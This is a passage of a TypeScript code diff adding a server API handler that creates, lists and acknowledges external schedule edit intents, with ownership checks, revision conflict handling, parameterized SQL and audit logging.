227
+ const requestedRevision = body.status === "applied" ? Number(body.result_revision) : null;
228
+ const requestedError = body.error_code ?? null;
229
+ if (row.status === body.status && row.result_revision === requestedRevision && row.error_code === requestedError) {
230
+ return { row, idempotent: true } as const;
231
+ }
232
+ return { error: "intent_already_terminal", status: 409 } as const;
233
+ }
234
+ if (row.status !== "delivered") return { error: "intent_not_delivered", status: 409 } as const;
235
+ if (body.status === "applied" && Number(body.result_revision) !== row.base_revision + 1) {
236
+ return { error: "invalid_result_revision", status: 409 } as const;
237
+ }
238
+ const changed = db.run(
239
+ `UPDATE external_schedule_edits SET status = ?1, acked_at = ?2, result_revision = ?3, error_code = ?4
240
+ WHERE intent_id = ?5 AND status = 'delivered' AND consumed_by_token = ?6`,
241
+ [body.status, now, body.status === "applied" ? Number(body.result_revision) : null, body.error_code ?? null, row.intent_id, ctx.auth!.tokenId],
242
+ );
243
+ if (changed.changes !== 1) return { error: "intent_state_conflict", status: 409 } as const;
244
+ audit(row.created_by_user, null, `external_schedule.edit_${body.status}`, row.intent_id, row.network_id, {
245
+ node_id: row.node_id, schedule_id: row.schedule_id, base_revision: row.base_revision,
246
+ result_revision: body.status === "applied" ? Number(body.result_revision) : null,
247
+ error_code: body.error_code ?? null,
248
+ });
249
+ return { row: { ...row, status: String(body.status), acked_at: now, result_revision: body.status === "applied" ? Number(body.result_revision) : null, error_code: body.error_code ?? null } } as const;
250
+ });
251
+ if ("error" in result) return error(result.error, result.status);
252
+ return Response.json({ ok: true, intent: publicEdit(result.row), ...(result.idempotent ? { idempotent: true } : {}) });
253
+ }
254
+
255
+ if (tail) return error("not_found", 404);
256
+
257
+ if (ctx.req.method === "GET") {
258
+ const denied = requireOwner(ctx, node, ctx.url.searchParams.get("network_id"));
259
+ if (denied) return denied;
260
+ const rows = db.all<EditRow>(
261
+ "SELECT * FROM external_schedule_edits WHERE node_id = ?1 AND network_id = ?2 AND created_by_user = ?3 ORDER BY created_at DESC LIMIT 100",
262
+ node.node_id, node.network_id, ctx.auth!.userId,
263
+ );
264
+ return Response.json({ ok: true, edits: rows.map(publicEdit) });
265
+ }
266
+
267
+ if (ctx.req.method !== "POST") return error("method_not_allowed", 405);
268
+ let body: Record<string, unknown>;
269
+ try { body = await bodyObject(ctx.req); } catch { return error("invalid_json", 400); }
270
+ if (!exactKeys(body, ["network_id", "schedule_id", "base_revision", "patch"])) return error("invalid_request", 400);
271
+ const denied = requireOwner(ctx, node, body.network_id);
272
+ if (denied) return denied;
273
+ if (typeof body.schedule_id !== "string" || !SCHEDULE_ID_RE.test(body.schedule_id)) return error("invalid_schedule_id", 400);
274
+ if (!Number.isSafeInteger(body.base_revision) || Number(body.base_revision) < 0) return error("invalid_revision", 400);
275
+ let patch: ExternalSchedulePatch;
276
+ try { patch = parseExternalSchedulePatch(body.patch); } catch (e: any) { return error(String(e?.message || "invalid_patch"), 400); }
277
+ const schedule = reportedSchedule(node, body.schedule_id);
278
+ if (!schedule) return error("schedule_not_found", 404);
279
+ if (schedule.kind !== "cron" || schedule.editable !== true || !Number.isSafeInteger(schedule.revision)) return error("schedule_read_only", 409);
280
+ if (Number(schedule.revision) !== Number(body.base_revision)) return error("revision_conflict", 409, { current_revision: schedule.revision });
281
+
282
+ const intentId = `sei_${crypto.randomUUID()}`;
283
+ const now = Date.now();
284
+ try {
285
+ db.transaction(() => {
286
+ // Re-read ownership + snapshot inside the write transaction so a
287
+ // concurrent owner/snapshot change cannot slip between preflight and INSERT.
288
+ const currentNode = nodeRow(node.node_id);
289
+ if (!currentNode || currentNode.owner_user_id !== ctx.auth!.userId || currentNode.network_id !== node.network_id) throw new Error("node_owner_changed");
290
+ const current = reportedSchedule(currentNode, body.schedule_id as string);
291
+ if (!current || current.editable !== true || current.kind !== "cron") throw new Error("schedule_read_only");
292
+ if (Number(current.revision) !== Number(body.base_revision)) throw new Error("revision_conflict");
293
+ db.run(
294
+ `INSERT INTO external_schedule_edits
295
+ (intent_id, network_id, node_id, schedule_id, base_revision, patch_json, status, expires_at, created_at, created_by_user, created_by_token)
296
+ VALUES (?1, ?2, ?3, ?4, ?5, ?6, 'pending', ?7, ?8, ?9, ?10)`,
297
+ [intentId, node.network_id, node.node_id, body.schedule_id, body.base_revision, JSON.stringify(patch), now + INTENT_TTL_MS, now, ctx.auth!.userId, ctx.auth!.tokenId],
298
+ );
299
+ audit(ctx.auth!.userId, ctx.auth!.username, "external_schedule.edit_requested", intentId, node.network_id!, {
300
+ node_id: node.node_id, schedule_id: body.schedule_id, base_revision: body.base_revision, fields: Object.keys(patch).sort(),
301
+ });
302
+ });
303
+ } catch (e: any) {
304
+ const code = String(e?.message || "edit_create_failed");
305
+ if (/UNIQUE|duplicate key/i.test(code)) return error("edit_in_flight", 409);
306
+ if (code === "revision_conflict") return error(code, 409);
307
+ if (code === "schedule_read_only") return error(code, 409);
308
+ if (code === "node_owner_changed") return error(code, 409);
309
+ throw e;
310
+ }
311
+ try { pushEvent(node.alias || node.node_id, { type: "external_schedule_edit", intent_id: intentId }, node.network_id); } catch {}
312
+ const created = db.get<EditRow>("SELECT * FROM external_schedule_edits WHERE intent_id = ?1", intentId)!;
313
+ return Response.json({ ok: true, intent: publicEdit(created) }, { status: 202 });
314
+ }